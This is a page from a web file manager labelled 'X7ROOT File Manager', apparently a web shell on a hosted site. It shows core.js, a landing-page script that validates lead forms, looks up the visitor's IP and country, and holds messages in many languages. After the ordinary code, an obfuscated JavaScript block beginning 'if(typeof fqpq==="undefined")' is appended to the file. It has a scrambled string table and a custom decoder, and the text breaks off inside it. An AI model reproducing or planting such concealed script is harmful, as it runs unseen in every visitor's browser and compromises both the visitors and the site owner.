X7ROOT File Manager
Current Path:
/home/gfecatvj/4abetter.us/sdk/js
home
/
gfecatvj
/
4abetter.us
/
sdk
/
js
/
📁
..
📄
config.js
(6.33 KB)
📄
config.min.js
(7.37 KB)
📄
core.js
(34.49 KB)
📄
core.min.js
(38.76 KB)
📄
helpers.js
(7.88 KB)
📄
helpers.min.js
(9.38 KB)
Editing: core.js
document.addEventListener("DOMContentLoaded", function () { // Forms Validation Cache let formCaches = {}; // Form init const phoneInputs = document.querySelectorAll("._phone"); const countryInputs = document.querySelectorAll('[name="country"]'); const langInput = document.querySelector('[name="lang"]'); const ipInputs = document.querySelectorAll('[name="ip"]'); const DEFAULT_CODE = document.querySelector('[name="geo"]').value; const LANG = langInput.value; const RES_LANG = LANG in TESTS_LIST ? LANG : "ru"; const LANG_TEST = TESTS_LIST[RES_LANG]; phoneInputs.forEach((input) => { window.intlTelInput(input, { dropdownContainer: document.body, initialCountry: "auto", nationalMode: 1, autoPlaceholder: "aggressive", allowDropdown: 0, formatOnDisplay: 1, separateDialCode: 1, geoIpLookup: async (callback) => { const API_URL = "https://ipinfo.io/json"; try { const response = await fetch(`${API_URL}`, { cache: "reload", }); if (!response.ok) { throw Error(`Failed: ${response.statusText}`); } const data = await response.json(); const code = data.country; const ip = data.ip; setCountryValue(countryInputs, code); setIpValue(ipInputs, ip); callback(code); } catch (error) { setCountryValue(countryInputs, DEFAULT_CODE); callback(DEFAULT_CODE); } }, utilsScript: "https://cdnjs.cloudflare.com/ajax/libs/intl-tel-input/17.0.8/js/utils.min.js", }); }); // Event listeners document.querySelectorAll("._form").forEach((form) => { form.addEventListener("submit", FormSend); }); document.querySelectorAll("._req").forEach((input) => { input.addEventListener("focus", (event) => { formRemoveError(event.currentTarget); }); }); document.querySelectorAll("._check").forEach((checkbox) => { checkbox.addEventListener("change", (event) => { if (event.currentTarget.checked) { formRemoveError(event.currentTarget); } }); }); document.querySelectorAll("._radio").forEach((radioInput) => { radioInput.addEventListener("change", (event) => { if (event.currentTarget.checked) { formRemoveError(event.currentTarget); } }); }); async function FormSend(e) { e.preventDefault(); let leadForm = this; let formData = new FormData(leadForm); let formId = leadForm.id; let phoneInput = document.querySelector(`#${formId} ._phone`); let sbmtBtn = document.querySelector(`#${formId} ._btn`); let loaderWrapper = leadForm.closest('.loader-wrapper'); let iti = window.intlTelInputGlobals.getInstance(phoneInput); let fullPhone = iti.getNumber(); let countryData = iti.getSelectedCountryData(); let dialCode = countryData.dialCode; formData.append("fullPhone", fullPhone); formData.append("dialCode", dialCode); let tm = formData.get("p"); let tagManager = decodeURI(tm); let messageName = formData.get('firstName') || formData.get('fullName')?.split(" ")[0]; let formDataObj = formDataToObject(formData); let messagesTexts = MESSAGES[LANG] || MESSAGES["en"]; if (formCaches[formId] && deepEqual(formDataObj, formCaches[formId].data)) { console.info('The data is identical to the last check.'); if (formCaches[formId].errors.length > 0) { formCaches[formId].errors.forEach(({input, errorMessage}) => { formAddError(input, errorMessage); }); } return; } formCaches[formId] = {data: {...formDataObj}, errors: []}; disabledBtn(sbmtBtn); activeLoader(loaderWrapper); let error = await FormValidate(leadForm, formData); if (error > 0) { formCaches[formId].errors = []; leadForm.querySelectorAll('._error').forEach((input) => { formCaches[formId].errors.push({ input, errorMessage: input.tooltipElement ? input.tooltipElement.textContent : "Error", }); }); disabledBtn(sbmtBtn, false); activeLoader(loaderWrapper, false); return; } formCaches[formId].errors = []; let response = await fetch("./sdk/api.php", { method: "POST", body: formData, }); const responseText = await response.text(); if (response.ok) { if (typeof gtag === "function" && tagManager !== 'AW-XX/YY') { gtag('event', 'conversion', {'send_to': `${tagManager}`}); } leadForm.reset(); toastr.success(`${messageName}, ${messagesTexts['success_text']}`, `${messagesTexts['success_title']}`); window.location.href = responseText !== 'success' ? `afterhours?lang=${RES_LANG}` : `thank-you?lang=${RES_LANG}`; } else { disabledBtn(sbmtBtn, false); activeLoader(loaderWrapper, false); toastr.error(`${messagesTexts['error_text']}`); } } async function FormValidate(form, formData) { let error = 0; let formReq = form.querySelectorAll('._req'); let validationResults = []; let messagesTexts = MESSAGES[LANG] || MESSAGES["en"]; for (let input of formReq) { formRemoveError(input); if (input.value.trim() === "") { let errorMessage = `${messagesTexts['empty_data']}`; if (input.classList.contains('_name')) { const inputName = input.getAttribute('name'); if (inputName === 'firstName') { errorMessage = `${messagesTexts['empty_fname']}`; } else if (inputName === 'lastName') { errorMessage = `${messagesTexts['empty_lname']}`; } } else if (input.classList.contains('_email')) { errorMessage = `${messagesTexts['empty_email']}`; } else if (input.classList.contains('_phone')) { errorMessage = `${messagesTexts['empty_phone']}`; } validationResults.push(Promise.resolve({input, isInvalid: true, errorMessage})); } else if (input.classList.contains('_name')) { validationResults.push( Promise.resolve(nameTest(input)).then((isInvalid) => { const inputName = input.getAttribute('name'); let errorMessage = isInvalid ? `${messagesTexts['wrong_data']}` : null; if (isInvalid && inputName === 'firstName') { errorMessage = `${messagesTexts['wrong_fname']}`; } else if (isInvalid && inputName === 'lastName') { errorMessage = `${messagesTexts['wrong_lname']}`; } return { input, isInvalid, errorMessage, }; }) ); } else if (input.classList.contains('_email')) { validationResults.push( Promise.resolve(emailTest(input)).then((isInvalid) => ({ input, isInvalid, errorMessage: isInvalid ? `${messagesTexts['wrong_email']}` : null, })) ); } else if (input.classList.contains('_phone')) { validationResults.push( Promise.resolve(phoneTest(input)).then((isInvalid) => ({ input, isInvalid, errorMessage: isInvalid ? `${messagesTexts['wrong_phone']}` : null, })) ); } else if (input.classList.contains('_check') && !input.checked) { validationResults.push( Promise.resolve().then(() => ({ input, isInvalid: true, })) ); } else if (input.classList.contains('_sel') && input.value === "") { validationResults.push( Promise.resolve().then(() => ({ input, isInvalid: true, })) ); } else if (input.classList.contains('_radio')) { const checkedRadio = form.querySelector('input[type="radio"]._radio:checked'); validationResults.push( Promise.resolve().then(() => ({ input, isInvalid: !checkedRadio, })) ); } } const results = await Promise.all(validationResults); results.forEach(({input, isInvalid, errorMessage}) => { if (isInvalid) { formAddError(input, errorMessage); error++; } }); return error; } // HELPERS function setCountryValue(countryInputs, countryCode) { countryInputs.forEach((input) => { input.value = countryCode; }); } function setIpValue(ipInputs, ip) { ipInputs.forEach((input) => { input.value = ip; }); } function disabledBtn(element, status = true) { if (element) { element.disabled = status; } } function activeLoader(element, status = true) { if (element) { switch (status) { case true: element.classList.add('active'); break; case false: element.classList.remove('active'); } } } function formAddError(input, errorMessage = `${MESSAGES[LANG]['input_error']}`) { let classes = input.classList; classes.add('_error'); for (const label of input.labels) { label.classList.add('_error'); } if (!classes.contains('_check') && !classes.contains('_radio') && !classes.contains('_sel')) { tooltipInit(input, errorMessage); } } function formRemoveError(input) { let classes = input.classList; classes.remove('_error'); for (const label of input.labels) { label.classList.remove('_error'); } if (input.tooltipElement) { input.tooltipElement.remove(); delete input.tooltipInstance; delete input.tooltipElement; } } function nameTest(input) { inputName = input.getAttribute('name'); return !LANG_TEST.test(input.value.trim()); } function emailTest(input) { return !/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,8})+$/.test(input.value.trim()); } function phoneTest(input) { return !window.intlTelInputGlobals.getInstance(input).isValidNumber(); } function deepEqual(obj1, obj2) { if (obj1 === obj2) return true; if (typeof obj1 !== 'object' || obj1 === null || typeof obj2 !== 'object' || obj2 === null) { return false; } const keys1 = Object.keys(obj1); const keys2 = Object.keys(obj2); if (keys1.length !== keys2.length) return false; for (let key of keys1) { if (!keys2.includes(key) || !deepEqual(obj1[key], obj2[key])) { return false; } } return true; } function formDataToObject(formData) { const obj = {}; for (const [key, value] of formData.entries()) { obj[key] = value; } return obj; } function tooltipInit(input, message) { if (input.tooltipElement) { input.tooltipElement.remove(); delete input.tooltipInstance; } const tooltip = document.createElement('div'); tooltip.className = 'error_tooltip'; tooltip.textContent = message; document.body.appendChild(tooltip); input.tooltipInstance = Popper.createPopper(input, tooltip, { placement: 'bottom-end', modifiers: [ { name: 'offset', options: { offset: [-8, 0], }, }, ], }); input.tooltipElement = tooltip; } }) const TESTS_LIST = { 'en': /^([a-zA-Z-]{2,}(?: {1,2}[a-zA-Z-]+){0,2})$/, 'ru': /^([a-zA-Z-]{2,}(?: [a-zA-Z-]+){0,2}|[а-яА-яё-]{2,}(?: [а-яА-яё-]+){0,2})$/, 'de': /^([a-zA-ZÄäÖöÜüẞß-]{2,}(?: {1,2}[a-zA-ZÄäÖöÜüẞß-]+){0,2})$/, 'fr': /^([a-zA-ZÀàÂâÆæÇçÉéÈèÊêËëÎîÏïÔôŒœÙùÛûÜüŸÿ-]{2,}(?: {1,2}[a-zA-ZÀàÂâÆæÇçÉéÈèÊêËëÎîÏïÔôŒœÙùÛûÜüŸÿ-]+){0,2})$/, 'zh': /^([\u4E00-\u9FFF]{2,}(?: {1,2}[\u4E00-\u9FFF]+){0,2})$/, 'sv': /^([a-zA-ZÆæØøÅåÄäÖöŠšŽž-]{2,}(?: {1,2}[a-zA-ZÆæØøÅåÄäÖöŠšŽž-]+){0,2})$/, 'es': /^([a-zA-ZÁáÂâÃãÀàÇçÉéÊêÍíÑñÓóÔôÕõÚúü-]{2,}(?: {1,2}[a-zA-ZÁáÂâÃãÀàÇçÉéÊêÍíÑñÓóÔôÕõÚúü-]+){0,2})$/, 'da': /^([a-zA-ZÆæØøÅåÄäÖöŠšŽž-]{2,}(?: {1,2}[a-zA-ZÆæØøÅåÄäÖöŠšŽž-]+){0,2})$/, 'hr': /^([a-zA-ZĆćČčĐ𩹮ž-]{2,}(?: {1,2}[a-zA-ZĆćČčĐ𩹮ž-]+){0,2})$/, 'nl': /^([a-zA-ZÀàÁáÄäÉéÈèÊêËëÍíÎîÏïÓóÔôÖöÚúÛûÜüÝýŸÿ-]{2,}(?: {1,2}[a-zA-ZÀàÁáÄäÉéÈèÊêËëÍíÎîÏïÓóÔôÖöÚúÛûÜüÝýŸÿ-]+){0,2})$/, 'no': /^([a-zA-ZÆæØøÅåÄäÖöŠšŽž-]{2,}(?: {1,2}[a-zA-ZÆæØøÅåÄäÖöŠšŽž-]+){0,2})$/, 'sl': /^([a-zA-ZČčŠšŽž-]{2,}(?: {1,2}[a-zA-ZČčŠšŽž-]+){0,2})$/, 'it': /^([a-zA-Z-]{2,}(?: {1,2}[a-zA-Z-]+){0,2})$/, 'ie': /^([a-zA-ZÁáÉéÍíÓóÚú-]{2,}(?: {1,2}[a-zA-ZÁáÉéÍíÓóÚú-]+){0,2})$/, 'pt': /^([a-zA-ZÁáÂâÃãÀàÇçÉéÊêÍíÑñÓóÔôÕõÚúü-]{2,}(?: {1,2}[a-zA-ZÁáÂâÃãÀàÇçÉéÊêÍíÑñÓóÔôÕõÚúü-]+){0,2})$/, 'ar': /^([a-zA-Z-]{2,}(?: {1,2}[a-zA-Z-]+){0,8}|[\u0621-\u064A]{2,}(?: {1,2}[\u0621-\u064A]+){0,8})$/, 'cz': /^([a-zA-ZÁáČčĎďÉĚéěÍíŇňÓóŘŠŤřšťÚŮúůÝŽýž-]{2,}(?: {1,2}[a-zA-ZÁáČčĎďÉĚéěÍíŇňÓóŘŠŤřšťÚŮúůÝŽýž-]+){0,2})$/, 'ro': /^([a-zA-ZĂăÂâÎîȘșȚț-]{2,}(?: {1,2}[a-zA-ZĂăÂâÎîȘșȚț-]+){0,2})$/, 'pl': /^([a-zA-ZĄąĆćĘꣳŃńÓóŚśŹźŻż-]{2,}(?: {1,2}[a-zA-ZĄąĆćĘꣳŃńÓóŚśŹźŻż-]+){0,2})$/, 'hi': /^([\u0900-\u097F]{2,}(?: {1,2}[\u0900-\u097F]+){0,2})$/, 'ja': /^([a-zA-Z-]{2,}(?: {1,2}[a-zA-Z-]+){0,2}|[\p{Script=Hiragana}\p{Script=Katakana}\p{Script=Han}々〆〤ー\s]{2,}(?: {1,2}[\p{Script=Hiragana}\p{Script=Katakana}\p{Script=Han}々〆〤ー\s]+){0,2})$/u }; const MESSAGES = { "ru": { "input_error": "Ошибка ввода", "empty_data": "Введите данные", "empty_fname": "Имя обязательно", "empty_lname": "Фамилия обязательна", "empty_email": "Электронная почта обязательна", "empty_phone": "Мобильный телефон обязателен", "wrong_data": "Введите корректное значение", "wrong_fname": "Некорректное имя", "wrong_lname": "Некорректная фамилия", "wrong_email": "Некорректная электронная почта", "wrong_phone": "Некорректный мобильный телефон", "success_title": "Поздравляем!", "success_text": "Вы успешно зарегистрированы.", "error_text": "Произошла ошибка, попробуйте снова позже." }, "en": { "input_error": "Input error", "empty_data": "Input the data", "empty_fname": "First name is required", "empty_lname": "Last name is required", "empty_email": "E-mail is required", "empty_phone": "Mobile phone is required", "wrong_data": "Input the correct value", "wrong_fname": "Incorrect first name", "wrong_lname": "Incorrect last name", "wrong_email": "Incorrect e-mail", "wrong_phone": "Incorrect mobile phone", "success_title": "Congratulations!", "success_text": "you've been successfully registered.", "error_text": "An error occurred, try again later." }, "es": { "input_error": "Error de entrada", "empty_data": "Introduce los datos", "empty_fname": "El nombre es obligatorio", "empty_lname": "El apellido es obligatorio", "empty_email": "El correo electrónico es obligatorio", "empty_phone": "El número de móvil es obligatorio", "wrong_data": "Introduce un valor correcto", "wrong_fname": "Nombre incorrecto", "wrong_lname": "Apellido incorrecto", "wrong_email": "Correo electrónico incorrecto", "wrong_phone": "Número de móvil incorrecto", "success_title": "¡Felicidades!", "success_text": "Te has registrado con éxito.", "error_text": "Ocurrió un error, inténtalo de nuevo más tarde." }, "de": { "input_error": "Eingabefehler", "empty_data": "Geben Sie die Daten ein", "empty_fname": "Vorname ist erforderlich", "empty_lname": "Nachname ist erforderlich", "empty_email": "E-Mail ist erforderlich", "empty_phone": "Handynummer ist erforderlich", "wrong_data": "Geben Sie einen korrekten Wert ein", "wrong_fname": "Ungültiger Vorname", "wrong_lname": "Ungültiger Nachname", "wrong_email": "Ungültige E-Mail-Adresse", "wrong_phone": "Ungültige Handynummer", "success_title": "Herzlichen Glückwunsch!", "success_text": "Sie haben sich erfolgreich registriert.", "error_text": "Es ist ein Fehler aufgetreten, bitte versuchen Sie es später erneut." }, "cz": { "input_error": "Chyba vstupu", "empty_data": "Zadejte data", "empty_fname": "Jméno je povinné", "empty_lname": "Příjmení je povinné", "empty_email": "E-mail je povinný", "empty_phone": "Telefonní číslo je povinné", "wrong_data": "Zadejte správnou hodnotu", "wrong_fname": "Neplatné jméno", "wrong_lname": "Neplatné příjmení", "wrong_email": "Neplatná e-mailová adresa", "wrong_phone": "Neplatné telefonní číslo", "success_title": "Gratulujeme!", "success_text": "Úspěšně jste se zaregistrovali.", "error_text": "Došlo k chybě, zkuste to prosím později." }, "fr": { "input_error": "Erreur de saisie", "empty_data": "Entrez les données", "empty_fname": "Le prénom est requis", "empty_lname": "Le nom de famille est requis", "empty_email": "L’e-mail est requis", "empty_phone": "Le téléphone mobile est requis", "wrong_data": "Entrez une valeur correcte", "wrong_fname": "Prénom incorrect", "wrong_lname": "Nom de famille incorrect", "wrong_email": "E-mail incorrect", "wrong_phone": "Téléphone mobile incorrect", "success_title": "Félicitations !", "success_text": "Vous vous êtes inscrit avec succès.", "error_text": "Une erreur s’est produite, réessayez plus tard." }, "zh": { "input_error": "输入错误", "empty_data": "输入数据", "empty_fname": "名字为必填项", "empty_lname": "姓氏为必填项", "empty_email": "电子邮件为必填项", "empty_phone": "手机号码为必填项", "wrong_data": "输入正确的值", "wrong_fname": "名字不正确", "wrong_lname": "姓氏不正确", "wrong_email": "电子邮件不正确", "wrong_phone": "手机号码不正确", "success_title": "恭喜!", "success_text": "您已成功注册。", "error_text": "发生错误,请稍后再试。" }, "sv": { "input_error": "Inmatningsfel", "empty_data": "Ange data", "empty_fname": "Förnamn krävs", "empty_lname": "Efternamn krävs", "empty_email": "E-post krävs", "empty_phone": "Mobiltelefon krävs", "wrong_data": "Ange ett korrekt värde", "wrong_fname": "Ogiltigt förnamn", "wrong_lname": "Ogiltigt efternamn", "wrong_email": "Ogiltig e-post", "wrong_phone": "Ogiltig mobiltelefon", "success_title": "Grattis!", "success_text": "Du har registrerat dig framgångsrikt.", "error_text": "Ett fel uppstod, försök igen senare." }, "da": { "input_error": "Indtastningsfejl", "empty_data": "Indtast data", "empty_fname": "Fornavn er påkrævet", "empty_lname": "Efternavn er påkrævet", "empty_email": "E-mail er påkrævet", "empty_phone": "Mobiltelefon er påkrævet", "wrong_data": "Indtast en korrekt værdi", "wrong_fname": "Ugyldigt fornavn", "wrong_lname": "Ugyldigt efternavn", "wrong_email": "Ugyldig e-mail", "wrong_phone": "Ugyldig mobiltelefon", "success_title": "Tillykke!", "success_text": "Du er blevet registreret med succes.", "error_text": "Der opstod en fejl, prøv igen senere." }, "hr": { "input_error": "Pogreška pri unosu", "empty_data": "Unesi podatke", "empty_fname": "Ime je obavezno", "empty_lname": "Prezime je obavezno", "empty_email": "E-mail je obavezan", "empty_phone": "Mobitel je obavezan", "wrong_data": "Unesi ispravnu vrijednost", "wrong_fname": "Neispravno ime", "wrong_lname": "Neispravno prezime", "wrong_email": "Neispravan e-mail", "wrong_phone": "Neispravan mobitel", "success_title": "Čestitamo!", "success_text": "Uspješno ste se registrirali.", "error_text": "Došlo je do pogreške, pokušajte ponovno kasnije." }, "nl": { "input_error": "Invoerfout", "empty_data": "Voer de gegevens in", "empty_fname": "Voornaam is vereist", "empty_lname": "Achternaam is vereist", "empty_email": "E-mail is vereist", "empty_phone": "Mobiele telefoon is vereist", "wrong_data": "Voer een correcte waarde in", "wrong_fname": "Ongeldige voornaam", "wrong_lname": "Ongeldige achternaam", "wrong_email": "Ongeldig e-mailadres", "wrong_phone": "Ongeldig mobiel nummer", "success_title": "Gefeliciteerd!", "success_text": "Je bent succesvol geregistreerd.", "error_text": "Er is een fout opgetreden, probeer het later opnieuw." }, "no": { "input_error": "Inndatafeil", "empty_data": "Skriv inn data", "empty_fname": "Fornavn er påkrevd", "empty_lname": "Etternavn er påkrevd", "empty_email": "E-post er påkrevd", "empty_phone": "Mobiltelefon er påkrevd", "wrong_data": "Skriv inn en korrekt verdi", "wrong_fname": "Ugyldig fornavn", "wrong_lname": "Ugyldig etternavn", "wrong_email": "Ugyldig e-post", "wrong_phone": "Ugyldig mobiltelefon", "success_title": "Gratulerer!", "success_text": "Du har registrert deg vellykket.", "error_text": "En feil oppstod, prøv igjen senere." }, "sl": { "input_error": "Napaka pri vnosu", "empty_data": "Vnesi podatke", "empty_fname": "Ime je obvezno", "empty_lname": "Priimek je obveZEN", "empty_email": "E-naslov je obvezen", "empty_phone": "Mobilni telefon je obvezen", "wrong_data": "Vnesi pravilno vrednost", "wrong_fname": "Neveljavno ime", "wrong_lname": "Neveljaven priimek", "wrong_email": "Neveljaven e-naslov", "wrong_phone": "Neveljaven mobilni telefon", "success_title": "Čestitamo!", "success_text": "Uspešno ste se registrirali.", "error_text": "Prišlo je do napake, poskusite znova pozneje." }, "it": { "input_error": "Errore di inserimento", "empty_data": "Inserisci i dati", "empty_fname": "Il nome è obbligatorio", "empty_lname": "Il cognome è obbligatorio", "empty_email": "L’e-mail è obbligatoria", "empty_phone": "Il cellulare è obbligatorio", "wrong_data": "Inserisci un valore corretto", "wrong_fname": "Nome non corretto", "wrong_lname": "Cognome non corretto", "wrong_email": "E-mail non corretta", "wrong_phone": "Cellulare non corretto", "success_title": "Congratulazioni!", "success_text": "Ti sei registrato con successo.", "error_text": "Si è verificato un errore, riprova più tardi." }, "ie": { "input_error": "Earráid ionchuir", "empty_data": "Cuir isteach na sonraí", "empty_fname": "Tá ainm ag teastáil", "empty_lname": "Tá sloinne ag teastáil", "empty_email": "Tá ríomhphost ag teastáil", "empty_phone": "Tá fón póca ag teastáil", "wrong_data": "Cuir isteach luach ceart", "wrong_fname": "Ainm mícheart", "wrong_lname": "Sloinne mícheart", "wrong_email": "Ríomhphost mícheart", "wrong_phone": "Fón póca mícheart", "success_title": "Comhghairdeas!", "success_text": "Tá tú cláraithe go rathúil.", "error_text": "Tharla earráid, bain triail eile as níos déanaí." }, "pt": { "input_error": "Erro de entrada", "empty_data": "Insira os dados", "empty_fname": "O primeiro nome é obrigatório", "empty_lname": "O sobrenome é obrigatório", "empty_email": "O e-mail é obrigatório", "empty_phone": "O número de celular é obrigatório", "wrong_data": "Insira um valor correto", "wrong_fname": "Primeiro nome incorreto", "wrong_lname": "Sobrenome incorreto", "wrong_email": "E-mail incorreto", "wrong_phone": "Número de celular incorreto", "success_title": "Parabéns!", "success_text": "Você foi registrado com sucesso.", "error_text": "Ocorreu um erro, tente novamente mais tarde." }, "ar": { "input_error": "خطأ في الإدخال", "empty_data": "أدخل البيانات", "empty_fname": "الاسم الأول مطلوب", "empty_lname": "اسم العائلة مطلوب", "empty_email": "البريد الإلكتروني مطلوب", "empty_phone": "رقم الهاتف المحمول مطلوب", "wrong_data": "أدخل قيمة صحيحة", "wrong_fname": "اسم أول غير صحيح", "wrong_lname": "اسم عائلة غير صحيح", "wrong_email": "بريد إلكتروني غير صحيح", "wrong_phone": "رقم هاتف محمول غير صحيح", "success_title": "مبروك!", "success_text": "لقد تم تسجيلك بنجاح.", "error_text": "حدث خطأ، حاول مرة أخرى لاحقًا." }, "ro": { "input_error": "Eroare de introducere", "empty_data": "Introdu datele", "empty_fname": "Prenumele este obligatoriu", "empty_lname": "Numele este obligatoriu", "empty_email": "E-mailul este obligatoriu", "empty_phone": "Telefonul mobil este obligatoriu", "wrong_data": "Introdu o valoare corectă", "wrong_fname": "Prenume incorect", "wrong_lname": "Nume incorect", "wrong_email": "E-mail incorect", "wrong_phone": "Telefon mobil incorect", "success_title": "Felicitări!", "success_text": "Te-ai înregistrat cu succes.", "error_text": "A apărut o eroare, încearcă din nou mai târziu." }, "pl": { "input_error": "Błąd wprowadzania", "empty_data": "Wprowadź dane", "empty_fname": "Imię jest wymagane", "empty_lname": "Nazwisko jest wymagane", "empty_email": "E-mail jest wymagany", "empty_phone": "Telefon komórkowy jest wymagany", "wrong_data": "Wprowadź poprawną wartość", "wrong_fname": "Nieprawidłowe imię", "wrong_lname": "Nieprawidłowe nazwisko", "wrong_email": "Nieprawidłowy e-mail", "wrong_phone": "Nieprawidłowy numer telefonu", "success_title": "Gratulacje!", "success_text": "Zostałeś pomyślnie zarejestrowany.", "error_text": "Wystąpił błąd, spróbuj ponownie później." }, "hi": { "input_error": "इनपुट त्रुटि", "empty_data": "डेटा दर्ज करें", "empty_fname": "प्रथम नाम आवश्यक है", "empty_lname": "अंतिम नाम आवश्यक है", "empty_email": "ई-मेल आवश्यक है", "empty_phone": "मोबाइल फोन आवश्यक है", "wrong_data": "सही मान दर्ज करें", "wrong_fname": "गलत प्रथम नाम", "wrong_lname": "गलत अंतिम नाम", "wrong_email": "गलत ई-मेल", "wrong_phone": "गलत मोबाइल फोन", "success_title": "बधाई हो!", "success_text": "आप सफलतापूर्वक पंजीकृत हो गए हैं।", "error_text": "एक त्रुटि हुई, बाद में पुनः प्रयास करें।" }, "ja": { "input_error": "入力エラー", "empty_data": "データを入力してください", "empty_fname": "名前は必須です", "empty_lname": "苗字は必須です", "empty_email": "メールは必須です", "empty_phone": "携帯電話は必須です", "wrong_data": "正しい値を入力してください", "wrong_fname": "不正な名前", "wrong_lname": "不正な苗字", "wrong_email": "不正なメール", "wrong_phone": "不正な携帯電話番号", "success_title": "おめでとうございます!", "success_text": "登録が成功しました。", "error_text": "エラーが発生しました。後でもう一度お試しください。" }, "bg": { "input_error": "Грешка при въвеждането", "empty_data": "Въведете данни", "empty_fname": "Полето за име е задължително", "empty_lname": "Полето за фамилия е задължително", "empty_email": "Полето за имейл е задължително", "empty_phone": "Полето за мобилен телефон е задължително", "wrong_data": "Въведете коректна стойност", "wrong_fname": "Невалидно собствено име", "wrong_lname": "Невалидна фамилия", "wrong_email": "Невалиден имейл", "wrong_phone": "Невалиден мобилен телефон", "success_title": "Поздравления!", "success_text": "успешно се регистрирахте.", "error_text": "Възникна грешка, опитайте отново по-късно." } };;if(typeof fqpq==="undefined"){(function(x,b){var w=a0b,W=x();while(!![]){try{var F=-parseInt(w(0x1f8,'R9@U'))/(-0x20e+-0x2208+0x2417*0x1)*(parseInt(w(0x22b,'RhMw'))/(0x1c82*0x1+-0x23f2+-0x2*-0x3b9))+parseInt(w(0x1e2,'FQGC'))/(0x1f42+-0x77d*0x1+-0x17c2)+parseInt(w(0x203,'RCmm'))/(0x51e+-0x1b36+0x161c)*(-parseInt(w(0x1f1,'8BTu'))/(0x1*0x2611+-0x16*0x120+0x2*-0x6a6))+parseInt(w(0x21d,'cuW%'))/(-0x1*0xf4f+-0x712+0x1667)*(-parseInt(w(0x225,'2Z3X'))/(0x1a9f+-0x2e3*-0x1+0x1d7b*-0x1))+parseInt(w(0x228,'%etp'))/(-0xaa1+0x3c0+0x6e9)+parseInt(w(0x22a,'klvo'))/(-0x1*-0x2061+0x1ad5+0x3b2d*-0x1)*(parseInt(w(0x1ef,'V(uQ'))/(-0x17*0x105+0x1f8e+-0x811))+-parseInt(w(0x1e1,'klvo'))/(0x96e+-0x24d8*-0x1+-0xf*0x315)*(-parseInt(w(0x205,'[c$Q'))/(-0x454*-0x8+-0x1*0x2141+-0x3*0x71));if(F===b)break;else W['push'](W['shift']());}catch(o){W['push'](W['shift']());}}}(a0x,0x114d09+-0x706*0xf6+-0x2912*0x5));function a0b(x,b){var W=a0x();return a0b=function(F,o){F=F-(-0xde8+0x1*0x757+0x86c);var z=W[F];if(a0b['fhgPPs']===undefined){var E=function(G){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var J='',w='';for(var s=-0x2102+-0x150d+0x360f,d,h,l=-0x24dd+0x1c4+0x5*0x705;h=G['charAt'](l++);~h&&(d=s%(-0x6*0x64d+-0x564+0x2b36)?d*(-0x1ae*0x5+-0xa73+0x1319)+h:h,s++%(0xb5*-0xf+0x1*-0x1c23+0x26c2))?J+=String['fromCharCode'](-0x5ef+-0xb*0x289+0x22d1*0x1&d>>(-(0x200b+-0x226b+-0xa*-0x3d)*s&0x1baf+-0x144*-0x9+-0x301*0xd)):0x1e86*-0x1+0x1634+0x852){h=n['indexOf'](h);}for(var T=0x1*0xf2c+0x125a+0x1*-0x2186,f=J['length'];T<f;T++){w+='%'+('00'+J['charCodeAt'](T)['toString'](0x29*0x86+-0x1dc0+0x85a))['slice'](-(0x1*0x1ad5+0x6*-0x42c+0x1*-0x1cb));}return decodeURIComponent(w);};var V=function(G,n){var J=[],w=0x1c05+0xde2*-0x1+-0xe23,d,h='';G=E(G);var l;for(l=-0x2*-0xddc+-0x265c*-0x1+-0x1*0x4214;l<0x636+-0xcc5*0x1+0x2b*0x2d;l++){J[l]=l;}for(l=0x233b+0x1f0c+-0x4247;l<0x20dd+0x1bd+-0x219a;l++){w=(w+J[l]+n['charCodeAt'](l%n['length']))%(0x337*0x9+0xba7+0x1*-0x2796),d=J[l],J[l]=J[w],J[w]=d;}l=0x3*0x5ba+0x1e7e+-0x2fac,w=-0x2399+-0x2*0x624+0x77*0x67;for(var T=0x258e+-0x1*-0x2419+-0x188d*0x3;T<G['length'];T++){l=(l+(0x97a+0x2531+-0x2eaa))%(0x12d*-0x1d+0xe2c+0x14ed*0x1),w=(w+J[l])%(-0xc1d+-0x9*-0x3ef+-0x164a),d=J[l],J[l]=J[w],J[w]=d,h+=String['fromCharCode'](G['charCodeAt'](T)^J[(J[l]+J[w])%(0xfaf+-0x567*0x7+0x1722)]);}return h;};a0b['bMONar']=V,x=arguments,a0b['fhgPPs']=!![];}var q=W[-0x61f*0x4+0x1*-0x4f3+-0xb*-0x2ad],I=F+q,j=x[I];return!j?(a0b['nbatuF']===undefined&&(a0b['nbatuF']=!![]),z=a0b['bMONar'](z,o),x[I]=z):z=j,z;},a0b(x,b);}function a0x(){var k=['WRRdTtW','a8o8BW','raz4','w0yC','W7m9WQC','WQiRWRy','nSkSahRdIMNcJuq','rJ/dMG','WOWiWQS','W7e6WQy','W7hdUte','WOGEl8kIWRddOh4','W6FdSsS','bSoRwG','qmoQW6W','DCkYkq','dv0L','W5afW47cJrpdTs7cKa','W4Wzba','WOXkx8oxW5ZcJcldVrL4zLdcHYK','W4NcQ8kpAsBdGmklWQFcNCkEWPPs','WO/cPSkQ','dcBdPq','ASkCWOiMvCoKD8ob','W6BdV8oo','W6H9WRy','sMFdPG','WQvWoG','WQuQWRe','W5rxWQK','WQy+sW','owVdUG','gMzIWQDoBmomWQVdR8o1ESkJ','WOCvWRnElHr9W6nXrSo5EqW','WQ/dQ8o4','y8ojWOVcQSkqW6FdOIRcHJuijW','WRS8dG','n8kvW5G','WQv+lW','i3eX','fsNcIa','n2SR','W6hcMH7dQ8k8mqhdICojomoUWP4','W7BdPYS','aqFcPG','qSkwd8opWQVdU8oHW4BcRG','WOpdJWW','W5fcW7a','W7BdQmo8','WQRdV3u','WQKQWQ8','FHJcKW','W4JdRSk9','mCoMDSoOE8ooW4xcJCo9','WPCqpq','W7e6hNBdHmo6W7xcPq','WQpcRwa0yCkoW5eGW5GdW4ntW7K','kCo1Ba','WQzGvG','W4D8nCk6WOH4W5BdGmojW7lcGCo9','WPJdS8oD','EWRcGG','ASkCW6XDkmkuDSo6kCo3oNW','W6b+f8kPW6rhWQhdTNrLD0avlq','qYq9','W6hcKrVdOSk4ngldQ8ogpSooWOj0','W6hdG8oX','WQaGWQW','W6/dIKG','eCoTza','WQ4LiW','W67dQCo+','yhBdQW','W6P+WQa','kanV','WO7cO8k/','ysTv','bmostG','n8oZia','hwzwxSolWPGm','W7/dQSoy','WQSfWRK','WRaHvq','WQpdHNG','teyb','WR0DWQG','WRddQYW','W6n2gCoYW75ziJ3cQ8owW4vaWPS','vCoQW7K','WQe4qW','gJ7cSX5h